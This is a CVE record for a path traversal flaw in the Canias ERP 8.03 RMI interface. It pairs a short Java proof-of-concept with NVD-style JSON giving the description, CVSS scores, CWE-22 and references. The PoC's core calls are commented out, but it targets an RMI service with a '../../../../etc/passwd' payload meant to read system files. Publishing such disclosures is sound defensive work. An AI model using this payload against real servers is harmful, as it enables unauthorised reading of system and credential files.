CVE-2026-8215

import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; // This PoC demonstrates the conceptual exploitation of the path traversal vulnerability // in the Canias ERP RMI interface. public class CVE20268215_PoC { public static void main(String[] args) { try { // Target IP and RMI Port (Default RMI port is often 1099) String targetHost = "TARGET_IP"; int port = 1099; // Get the RMI registry Registry registry = LocateRegistry.getRegistry(targetHost, port); // Note: The actual lookup name depends on the server configuration. // Assuming the vulnerable object is bound as "CaniasService". // VulnerableInterface stub = (VulnerableInterface) registry.lookup("CaniasService"); // Malicious payload using path traversal sequences String maliciousPayload = "../../../../etc/passwd"; // Invoke the vulnerable function 'iasRequestFileEvent' // stub.iasRequestFileEvent(maliciousPayload); System.out.println("[+] Exploit payload sent: " + maliciousPayload); System.out.println("[+] Check response for file contents."); } catch (Exception e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-8215", "sourceIdentifier": "[email protected]", "published": "2026-05-10T01:16:08.090", "lastModified": "2026-05-11T15:08:09.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Industrial Application Software IAS Canias ERP 8.03. This vulnerability affects the function iasRequestFileEvent of the component RMI Interface. This manipulation of the argument m_strSourceFileName causes path traversal. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://gist.github.com/0xb1lal/3885c69998516685e3ea833403b9db2b", "source": "[email protected]"}, {"url": "https://hawktrace.com/blog/caniaserp/", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/808242", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362432", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362432/cti", "source": "[email protected]"}]}}